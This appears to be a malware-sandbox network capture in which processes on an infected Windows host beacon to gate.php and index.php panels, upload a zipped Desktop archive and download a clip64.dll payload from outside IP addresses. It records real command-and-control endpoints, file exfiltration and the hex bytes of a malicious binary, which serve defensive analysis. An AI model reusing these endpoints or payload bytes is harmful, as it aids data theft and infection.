Dec 14, 2024 14:57:23.035690069 CET	1236	IN	Data Raw: 12 4c 56 3d 46 0d 09 54 59 56 56 5d 15 57 5d 43 0a 6b 15 50 4d 45 3d 52 57 44 00 3a 46 46 14 46 1d 4c 06 1e 4d 58 6f 40 00 56 5d 07 0d 54 1b 59 48 44 1d 58 51 54 5c 45 5e 51 5e 56 54 41 0b 59 58 1e 0b 13 09 05 0a 59 55 56 17 3a 1b 5b 00 4c 43 05 Data Ascii: LV=FTYVV]W]CkPME=RWD:FFFLMXo@V]TYHDXQT\E^Q^VTAYXYUV:[LC@][TU@Bm]VURYjSSZT9DZ"DUA\CXG]KDR_]VURYXFEFUdA\G>ACGPJVonjkCZCUX:F:D^Y9IlGPd^PM]W_PC_iSjElRVeGM\
Dec 14, 2024 14:57:23.035722971 CET	448	IN	Data Raw: 08 55 6f 40 43 58 46 15 0b 55 5a 5b 4d 47 0e 6d 17 6d 10 11 56 42 43 5a 56 5a 10 44 53 53 11 5b 38 44 09 56 56 64 41 46 50 01 0e 3e 41 5a 52 13 00 6c 5b 4d 55 68 11 11 56 5d 53 42 44 0a 6b 17 53 5a 10 5b 1b 53 0a 08 10 14 09 5c 10 56 16 0b 5c 17 Data Ascii: Uo@CXFUZ[MGmmVBCZVZDSS[8DVVdAFP>AZRl[MUhV]SBDkSZ[S\V\Z?CYTAVGTSRC^APi@PYBH2U\]MBe_X_TZ]XWZCmROEjQBSlGFKDU@[eGP_ZJREH]WT[E[W^TVA\ZXE^DdAXK^IRDPYYKGm]SSR[hS\PRj["TIA
Dec 14, 2024 14:57:23.035773039 CET	1236	IN	Data Raw: 08 46 50 15 4a 51 52 52 41 58 44 54 0a 6b 15 53 5a 47 0f 18 5f 54 31 03 08 03 0b 51 44 51 12 13 5c 39 11 5c 5f 55 52 03 01 5f 15 5e 57 46 0e 6d 17 52 44 47 6b 15 17 47 43 18 16 53 4e 44 58 3a 46 05 09 5e 56 51 04 48 58 15 43 4c 0a 5d 56 0f 10 5a Data Ascii: FPJQRRAXDTkSZG_T1QDQ\9\_UR_^WFmRDGkGCSNDX:F^VQHXCL]VZSQ[UGXZ__BZTY\PBj[RJFZC@YFZRoCRW]TkUXP]VmtccMEFQXXIQR]X]MCPdGTMEnGVAAPXlG=TK_mdAFO_oC8VYYViQGAkXTZS^[:?DZoCUi
Dec 14, 2024 14:57:23.035801888 CET	224	IN	Data Raw: 06 55 0d 41 58 1c 51 51 4e 0a 0f 53 47 0f 0e 55 5e 41 17 56 59 54 11 45 0b 6c 47 07 11 12 0e 1d 53 4b 4e 05 56 0b 47 07 0d 4d 13 41 17 44 58 67 51 5a 43 44 41 1c 51 5e 59 43 56 5c 5b 50 10 6a 14 0e 45 5a 0d 08 16 45 44 18 0a 02 04 39 11 17 10 5c Data Ascii: UAXQQNSGU^AVYTElGSKNVGMADXgQZCDAQ^YCV\[PjEZED9\A>WiZR\PnROGjQTSjElAo@CZ_@dGD\jX\ABCRGPiUBFWYUNWF?GZ[YDZET][KRk[ZSjES_JZ>AVU8YJ]RYPPT[kvZS
Dec 14, 2024 14:57:23.035835028 CET	1236	IN	Data Raw: 16 53 09 0f 01 08 12 6c 12 18 13 0a 58 06 56 0a 0c 55 57 04 16 0e 69 1a 18 68 11 11 54 44 46 5e 54 58 5a 45 59 50 16 53 0b 6c 47 09 02 00 3a 12 10 55 02 1e 55 00 5d 05 17 51 0e 3d 46 0b 69 1a 18 55 41 58 54 1c 56 54 44 54 45 5c 57 50 06 54 4f 0d Data Ascii: SlXVUWihTDF^TXZEYPSlG:UU]Q=FiUAXTVTDTE\WPTO9DKUBJeGHFVQdoSBCCZ[RlGoY\N\VeA\Y]hS@EF^YkVYEE9DoCHMTlVT]UAmSC^VYTWZlG#SUJCVACZ\VTQQ]EiUBAAZ
Dec 14, 2024 14:57:23.035870075 CET	1236	IN	Data Raw: 54 46 11 0b 6a 12 11 0a 49 16 14 59 46 59 17 03 19 06 40 4f 13 58 40 12 07 5c 51 5d 09 14 40 41 54 1c 5b 5f 47 42 43 18 41 50 1a 42 6a 12 45 12 1d 16 03 0d 6c 1a 17 03 41 11 6f 40 43 49 5f 00 07 56 5d 57 54 50 56 43 08 6d 10 72 45 52 53 5c 41 15 Data Ascii: TFjIYFY@OX@\Q]@AT[_GBCAPBjElAo@CI_V]WTPVCmrERS\A!WDTE(UBdAFTKWTioP@XVEPD@DSTX:FEUdAFXZNUR_dwRCQ\DZURGiBWCD\UL[eG\e_XQQNSGU^A\[CB[l};9]G?RFKhEYBC^AVAP
Dec 14, 2024 14:57:23.035903931 CET	1236	IN	Data Raw: 5f 1f 59 5a 51 50 42 0b 08 10 1e 46 0d 00 46 18 5e 57 07 03 17 0b 5c 06 06 6d 4a 11 01 13 08 05 05 14 7d 5e 51 54 1c 65 72 6f 63 6a 7b 7a 26 73 1f 10 1e 46 06 12 05 62 55 5f 06 1e 5c 16 1d 04 0c 4b 76 00 07 5b 1d 4a 5d 53 56 49 15 0c 0c 11 4c 17 Data Ascii: _YZQPBFF^W\mJ}^QTerocj{z&sFbU_\Kv[J]SVILYZQPLBSH%U^LC[\GGvWV@V_A@TG[VVPSQUJDGq\\@QEPEZcRPRMPFLPYB NBU_XB]VL]LGrZ_FTYC[RS%_^LMKAURG]_QK_WFvSS
Dec 14, 2024 14:57:23.035938978 CET	1236	IN	Data Raw: 1a 56 12 6c 0c 17 54 5a 5b 46 16 16 53 44 0d 34 01 01 03 48 55 4b 43 5b 19 3e 13 4d 3f 65 51 51 1c 68 54 15 5e 75 1e 77 05 1c 0b 6c 4c 03 07 48 69 69 00 19 51 10 38 5d 44 05 09 5e 43 4c 43 0a 4d 06 61 07 04 5c 4b 04 17 13 08 18 63 14 1c 6d 69 53 Data Ascii: VlTZ[FSD4HUKC[>M?eQQhT^uwlLHiiQ8]D^CLCMa\KcmiS}KzKYAVSmQH%K.zv3KcU[>BTHEdhQRoTX[FABBDH7UC^FbE>?[5GcYIpyxygo[kMV8:W>]\TVDM]FJbP]WRCXEtYYJLHuQ[N\_]HA_[P]_U{^V
Dec 14, 2024 14:57:23.035979033 CET	1236	IN	Data Raw: 57 5a 47 54 5b 45 10 0b 17 6c 3a 3f 15 15 42 16 16 10 45 46 1f 6b 6c 10 10 18 43 46 19 45 13 42 43 19 13 43 00 52 41 59 67 56 56 57 5a 43 57 13 0d 17 15 09 1a 41 0b 42 5a 55 5b 44 48 6b 6c 10 10 18 43 46 19 45 13 42 43 19 13 43 0d 5d 5f 5d 5b 40 Data Ascii: WZGT[El:?BEFklCFEBCCRAYgVVWZCWABZU[DHklCFEBCC]_][@BTE^EACXSFBUHZrxWVFK]G_PFsUSERFFPKEDZkT\@AYnhoSjjlV^XOLw-,I(6jN_dWOMoiZSmnSUVI9mL=Kqp)Kw58S<N

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	50149	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:22.587594986 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:57:22.707704067 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:57:24.233860016 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:23 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	50150	185.215.113.43	80	5396	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:23.648917913 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 31 3d 31 30 31 35 32 30 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1015207001&unit=246122658369
Dec 14, 2024 14:57:24.571942091 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:57:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	50151	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:24.462291002 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:57:24.582123041 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:57:26.124228001 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:25 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	50154	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:25.609729052 CET	169	OUT	POST /7vhfjke3/index.php?wal=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----NjE1Mw== Host: 185.81.68.147 Content-Length: 6313 Cache-Control: no-cache
Dec 14, 2024 14:57:25.610555887 CET	140	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4e 6a 45 31 4d 77 3d 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------NjE1Mw==Content-Disposition: form-data; name="data"; filename="246122658369_Desktop.zip"Content-Type: application/octet-stream
Dec 14, 2024 14:57:25.610579014 CET	8	OUT	Data Raw: 50 4b 03 04 14 00 00 00 Data Ascii: PK
Dec 14, 2024 14:57:25.610600948 CET	8	OUT	Data Raw: 08 00 1c 52 44 57 19 a3 Data Ascii: RDW
Dec 14, 2024 14:57:25.610620975 CET	8	OUT	Data Raw: 19 73 86 02 00 00 02 04 Data Ascii: s
Dec 14, 2024 14:57:25.610620975 CET	8	OUT	Data Raw: 00 00 17 00 00 00 5f 46 Data Ascii: _F
Dec 14, 2024 14:57:25.610641003 CET	8	OUT	Data Raw: 69 6c 65 73 5f 5c 42 4a Data Ascii: iles_\BJ
Dec 14, 2024 14:57:25.610641003 CET	8	OUT	Data Raw: 5a 46 50 50 57 41 50 54 Data Ascii: ZFPPWAPT
Dec 14, 2024 14:57:25.610651970 CET	8	OUT	Data Raw: 2e 64 6f 63 78 15 93 49 Data Ascii: .docxI
Dec 14, 2024 14:57:25.610660076 CET	8	OUT	Data Raw: 8e 40 21 08 44 f7 9d f4 Data Ascii: @!D
Dec 14, 2024 14:57:25.610671043 CET	8	OUT	Data Raw: a1 10 bf 38 82 f3 74 ff Data Ascii: 8t
Dec 14, 2024 14:57:27.254704952 CET	198	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:26 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	50156	185.215.113.43	80	5396	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:26.682899952 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 14, 2024 14:57:28.022052050 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:57:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	50158	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:26.683245897 CET	66	OUT	GET /7vhfjke3/Plugins/clip64.dll HTTP/1.1 Host: 185.81.68.147
Dec 14, 2024 14:57:28.018934011 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:27 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Thu, 12 Dec 2024 18:53:40 GMT ETag: "1f000-629173b87b500" Accept-Ranges: bytes Content-Length: 126976 Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c8 f9 ef 50 8c 98 81 03 8c 98 81 03 8c 98 81 03 98 f3 82 02 86 98 81 03 98 f3 84 02 05 98 81 03 98 f3 85 02 9e 98 81 03 de ed 85 02 83 98 81 03 de ed 82 02 9d 98 81 03 de ed 84 02 ad 98 81 03 98 f3 80 02 8b 98 81 03 8c 98 80 03 ed 98 81 03 40 ed 88 02 8f 98 81 03 40 ed 81 02 8d 98 81 03 40 ed 7e 03 8d 98 81 03 40 ed 83 02 8d 98 81 03 52 69 63 68 8c 98 81 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 84 96 5a 67 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 1d 00 44 01 00 00 b4 00 00 00 00 00 00 62 70 00 00 00 10 00 00 00 60 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$P@@@~@RichPELZg!Dbp`0@P8@`L.textCD `.rdata*u`vH@@.data@.rsrc@@.reloc@B
Dec 14, 2024 14:57:28.018954992 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6a 20 68 98 ae 01 10 b9 60 e8 01 10 e8 7f 4d 00 00 68 70 29 01 Data Ascii: j h`Mhp)ZYj hx_Mh)ZYjh?Mh0ZYj hMhZYjhLh*jZYjh
Dec 14, 2024 14:57:28.019171953 CET	1236	IN	Data Raw: 24 af 01 10 b9 d8 e8 01 10 e8 df 4c 00 00 68 50 2b 01 10 e8 4a 5a 00 00 59 c3 cc cc cc 6a 14 68 44 af 01 10 b9 f0 e8 01 10 e8 bf 4c 00 00 68 b0 2b 01 10 e8 2a 5a 00 00 59 c3 cc cc cc 6a 20 68 5c af 01 10 b9 08 e9 01 10 e8 9f 4c 00 00 68 10 2c 01 Data Ascii: $LhP+JZYjhDLh+*ZYj h\Lh,ZYjh} Lhp,YYjh}8_Lh,YYjhP?Lh0-YYjhhLh-YYjhKh-
Dec 14, 2024 14:57:28.019234896 CET	1236	IN	Data Raw: 8a 55 00 00 59 c3 cc cc cc 6a 00 68 7d af 01 10 b9 80 ec 01 10 e8 ff 47 00 00 68 f0 39 01 10 e8 6a 55 00 00 59 c3 cc cc cc 6a 0c 68 e0 b2 01 10 b9 98 ec 01 10 e8 df 47 00 00 68 50 3a 01 10 e8 4a 55 00 00 59 c3 cc cc cc 6a 14 68 f0 b2 01 10 b9 b0 Data Ascii: UYjh}Gh9jUYjhGhP:JUYjhGh:*UYjhGh;UYjhGhp;TYjLhX_Gh;TYjh?Gh0<TYjdh(
Dec 14, 2024 14:57:28.019251108 CET	1236	IN	Data Raw: 10 e8 3f 43 00 00 68 30 48 01 10 e8 aa 50 00 00 59 c3 cc cc cc 6a 0c 68 0c b7 01 10 b9 28 f0 01 10 e8 1f 43 00 00 68 90 48 01 10 e8 8a 50 00 00 59 c3 cc cc cc 6a 34 68 1c b7 01 10 b9 40 f0 01 10 e8 ff 42 00 00 68 f0 48 01 10 e8 6a 50 00 00 59 c3 Data Ascii: ?Ch0HPYjh(ChHPYj4h@BhHjPYj(hTXBhPIJPYjhpBhI*PYj<hBhJPYj0hBhpJOYjh_BhJOY
Dec 14, 2024 14:57:28.019376993 CET	1236	IN	Data Raw: 05 00 00 83 7d 30 00 0f 84 02 05 00 00 83 7d 48 00 0f 84 f8 04 00 00 c7 85 d8 fb ff ff 00 00 00 00 c7 85 e8 fb ff ff 00 00 00 00 c7 85 ec fb ff ff 0f 00 00 00 c6 85 d8 fb ff ff 00 c6 45 fc 03 8d 8d c0 fb ff ff 6a 2f c7 85 c0 fb ff ff 00 00 00 00 Data Ascii: }0}HEj/h$=jjjjhTE0a}jjjjjECEjPPQ4a}4jjjjjE CE PhXQ8a}LM8uHCM8
Dec 14, 2024 14:57:28.019392967 CET	1236	IN	Data Raw: 00 00 00 c6 45 20 00 83 fa 10 0f 82 cf 00 00 00 8b 4d 38 42 8b c1 81 fa 00 10 00 00 0f 82 b3 00 00 00 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 0f 87 c6 00 00 00 e9 9a 00 00 00 6a 00 c7 07 00 00 00 00 8b cf c7 47 10 00 00 00 00 c7 47 14 0f 00 00 Data Ascii: E M8BI#+jGGh}=9Ur(MBrI#+wvRQCU4EEEDM B(I#+w,RQBMdY_^M3
Dec 14, 2024 14:57:28.019408941 CET	1236	IN	Data Raw: 00 00 c6 45 ac 00 83 fa 10 72 28 8b 4d c8 42 8b c1 81 fa 00 10 00 00 72 10 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 77 38 52 51 e8 a8 3e 00 00 83 c4 08 a1 34 f2 01 10 46 8b 15 20 f2 01 10 e9 a6 fe ff ff 8b c7 8b 4d f4 64 89 0d 00 00 00 00 59 5f Data Ascii: Er(MBrI#+w8RQ>4F MdY_^M3m>]pUjh$dPSVW3PEdEEEEE }4u0CE P4}EuCEP353=fD
Dec 14, 2024 14:57:28.019424915 CET	1236	IN	Data Raw: 75 2d 8b 4f 14 8b c7 83 f9 10 72 02 8b 07 80 3c 30 20 74 1b 8b c7 83 f9 10 72 02 8b 07 83 7b 14 10 8b cb 72 02 8b 0b 8a 04 30 e9 cc 00 00 00 83 7f 14 10 89 7d f8 72 05 8b 07 89 45 f8 8b 1d 48 f2 01 10 33 d2 8b 0d 4c f2 01 10 85 db 74 2b 8b 45 f8 Data Ascii: u-Or<0 tr{r0}rEH3Lt+E0E]8C88HtB;rExr3t715LMf]8C88Ht@;r=L8C58+3]{r
Dec 14, 2024 14:57:28.019606113 CET	1236	IN	Data Raw: 87 84 01 00 00 52 51 e8 24 35 00 00 83 c4 08 0f 10 4d bc 83 7d 1c 10 8d 55 08 f3 0f 7e 45 cc 8d 45 d8 0f 43 55 08 83 7d d0 10 8b 75 cc 66 0f 7e c9 0f 11 4d d8 0f 43 c1 66 0f d6 45 e8 8b 4d 18 89 4d d4 3b f1 75 61 83 ee 04 72 16 0f 1f 44 00 00 8b Data Ascii: RQ$5M}U~EECU}uf~MCfEMM;uarD;ust4:u't)H:JutH:Jut@:Bt3ME0Gu;3Ur/MFrI#+VQF4UE
Dec 14, 2024 14:57:28.139436007 CET	1236	IN	Data Raw: 8b 4d f0 33 cd e8 44 30 00 00 8b e5 5d c3 e8 86 62 00 00 e8 75 27 00 00 cc cc cc cc cc 55 8b ec 6a ff 68 2d 26 01 10 64 a1 00 00 00 00 50 53 56 57 a1 08 e0 01 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 ba 7d af 01 10 c7 45 fc 00 00 00 00 8d 4d 08 e8 Data Ascii: M3D0]bu'Ujh-&dPSVW3PEd}EM(\|E@Pl5M}CM+IDuNFu+FVj`VSW`PjZW`j(aaWja aUr(MBrI

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	50157	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:26.683305025 CET	66	OUT	GET /7vhfjke3/Plugins/clip64.dll HTTP/1.1 Host: 185.81.68.147
Dec 14, 2024 14:57:28.019623995 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:27 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Thu, 12 Dec 2024 18:53:40 GMT ETag: "1f000-629173b87b500" Accept-Ranges: bytes Content-Length: 126976 Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c8 f9 ef 50 8c 98 81 03 8c 98 81 03 8c 98 81 03 98 f3 82 02 86 98 81 03 98 f3 84 02 05 98 81 03 98 f3 85 02 9e 98 81 03 de ed 85 02 83 98 81 03 de ed 82 02 9d 98 81 03 de ed 84 02 ad 98 81 03 98 f3 80 02 8b 98 81 03 8c 98 80 03 ed 98 81 03 40 ed 88 02 8f 98 81 03 40 ed 81 02 8d 98 81 03 40 ed 7e 03 8d 98 81 03 40 ed 83 02 8d 98 81 03 52 69 63 68 8c 98 81 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 84 96 5a 67 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 1d 00 44 01 00 00 b4 00 00 00 00 00 00 62 70 00 00 00 10 00 00 00 60 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$P@@@~@RichPELZg!Dbp`0@P8@`L.textCD `.rdata*u`vH@@.data@.rsrc@@.reloc@B
Dec 14, 2024 14:57:28.019639969 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6a 20 68 98 ae 01 10 b9 60 e8 01 10 e8 7f 4d 00 00 68 70 29 01 Data Ascii: j h`Mhp)ZYj hx_Mh)ZYjh?Mh0ZYj hMhZYjhLh*jZYjh
Dec 14, 2024 14:57:28.019721985 CET	1236	IN	Data Raw: 24 af 01 10 b9 d8 e8 01 10 e8 df 4c 00 00 68 50 2b 01 10 e8 4a 5a 00 00 59 c3 cc cc cc 6a 14 68 44 af 01 10 b9 f0 e8 01 10 e8 bf 4c 00 00 68 b0 2b 01 10 e8 2a 5a 00 00 59 c3 cc cc cc 6a 20 68 5c af 01 10 b9 08 e9 01 10 e8 9f 4c 00 00 68 10 2c 01 Data Ascii: $LhP+JZYjhDLh+*ZYj h\Lh,ZYjh} Lhp,YYjh}8_Lh,YYjhP?Lh0-YYjhhLh-YYjhKh-
Dec 14, 2024 14:57:28.019735098 CET	224	IN	Data Raw: 8a 55 00 00 59 c3 cc cc cc 6a 00 68 7d af 01 10 b9 80 ec 01 10 e8 ff 47 00 00 68 f0 39 01 10 e8 6a 55 00 00 59 c3 cc cc cc 6a 0c 68 e0 b2 01 10 b9 98 ec 01 10 e8 df 47 00 00 68 50 3a 01 10 e8 4a 55 00 00 59 c3 cc cc cc 6a 14 68 f0 b2 01 10 b9 b0 Data Ascii: UYjh}Gh9jUYjhGhP:JUYjhGh:*UYjhGh;UYjhGhp;TYjLhX_Gh;TYjh?Gh0<
Dec 14, 2024 14:57:28.019824982 CET	1236	IN	Data Raw: aa 54 00 00 59 c3 cc cc cc 6a 64 68 c8 b0 01 10 b9 28 ed 01 10 e8 1f 47 00 00 68 90 3c 01 10 e8 8a 54 00 00 59 c3 cc cc cc 6a 10 68 24 b3 01 10 b9 40 ed 01 10 e8 ff 46 00 00 68 f0 3c 01 10 e8 6a 54 00 00 59 c3 cc cc cc 6a 10 68 38 b3 01 10 b9 58 Data Ascii: TYjdh(Gh<TYjh$@Fh<jTYjh8XFhP=JTYjhLpFh=*TYjh\Fh>TYjhdFhp>SYjhl_Fh>SYjht
Dec 14, 2024 14:57:28.019838095 CET	224	IN	Data Raw: 10 e8 5f 42 00 00 68 d0 4a 01 10 e8 ca 4f 00 00 59 c3 cc cc cc 6a 3c 68 0c b8 01 10 b9 d0 f0 01 10 e8 3f 42 00 00 68 30 4b 01 10 e8 aa 4f 00 00 59 c3 cc cc cc 6a 34 68 4c b8 01 10 b9 e8 f0 01 10 e8 1f 42 00 00 68 90 4b 01 10 e8 8a 4f 00 00 59 c3 Data Ascii: _BhJOYj<h?Bh0KOYj4hLBhKOYjhAhKjOYj0hAhPLJOYj(h0AhL*OYjhHAhMOYj8h`
Dec 14, 2024 14:57:28.019851923 CET	1236	IN	Data Raw: 10 e8 7f 41 00 00 68 70 4d 01 10 e8 ea 4e 00 00 59 c3 cc cc cc 6a 30 68 40 b9 01 10 b9 78 f1 01 10 e8 5f 41 00 00 68 d0 4d 01 10 e8 ca 4e 00 00 59 c3 cc cc cc 6a 54 68 78 b9 01 10 b9 90 f1 01 10 e8 3f 41 00 00 68 30 4e 01 10 e8 aa 4e 00 00 59 c3 Data Ascii: AhpMNYj0h@x_AhMNYjThx?Ah0NNYj,hAhNNYjh@hNjNYjh@hPOJNYhO;NYhP+NYhpPNYj?h8
Dec 14, 2024 14:57:28.019866943 CET	224	IN	Data Raw: 88 fb ff ff 83 bd 8c fb ff ff 10 51 0f 43 85 78 fb ff ff 8d 8d 90 fb ff ff 50 c7 85 a0 fb ff ff 00 00 00 00 c7 85 a4 fb ff ff 0f 00 00 00 c6 85 90 fb ff ff 00 e8 77 3c 00 00 c6 45 fc 06 8d 95 90 fb ff ff 83 bd a4 fb ff ff 10 8b bd 90 fb ff ff 8b Data Ascii: QCxPw<EC+QR;w41CVp0QAEr+Hr
Dec 14, 2024 14:57:28.019880056 CET	1236	IN	Data Raw: 83 c1 23 2b c7 83 c0 fc 83 f8 1f 0f 87 1f 03 00 00 51 57 e8 c8 45 00 00 83 c4 08 c6 45 fc 04 8b 95 8c fb ff ff 83 fa 10 72 2f 8b 8d 78 fb ff ff 42 8b c1 81 fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 0f 87 e1 02 00 00 52 51 e8 Data Ascii: #+QWEEr/xBrI#+RQE=PhPV@aV5DaGG~f
Dec 14, 2024 14:57:28.019896030 CET	1236	IN	Data Raw: 23 2b c1 83 c0 fc 83 f8 1f 77 7a 52 51 e8 fa 40 00 00 83 c4 08 c7 45 fc ff ff ff ff 8b 55 e0 c7 45 c4 00 00 00 00 c7 45 c8 0f 00 00 00 c6 45 b4 00 83 fa 10 72 28 8b 4d cc 42 8b c1 81 fa 00 10 00 00 72 10 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f Data Ascii: #+wzRQ@EUEEEr(MBrI#+w1RQ@tuSMdY_^M3}@]rUjh#dPH3EVWPEd}}EGGEE}4
Dec 14, 2024 14:57:28.142395973 CET	1236	IN	Data Raw: 00 8d 4d e0 83 c4 04 8d b7 00 04 00 00 89 75 ec 3b 01 75 12 68 00 04 00 00 6a 00 57 e8 e8 51 00 00 83 c4 0c eb 0a b9 00 01 00 00 83 c8 ff f3 ab 89 75 e8 c7 45 fc 01 00 00 00 33 d2 0f be 8a 60 ba 01 10 8b 45 e4 89 14 88 42 83 fa 40 7c ed 8b 45 d4 Data Ascii: Mu;uhjWQuE3`EB@\|E3M3U~9Pv}DxErEt\xFKU;Ks{ACrDuEuQ4MUEBU;Prt,U+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	50159	82.64.156.123	80	2200	C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe

Timestamp	Bytes transferred	Direction	Data
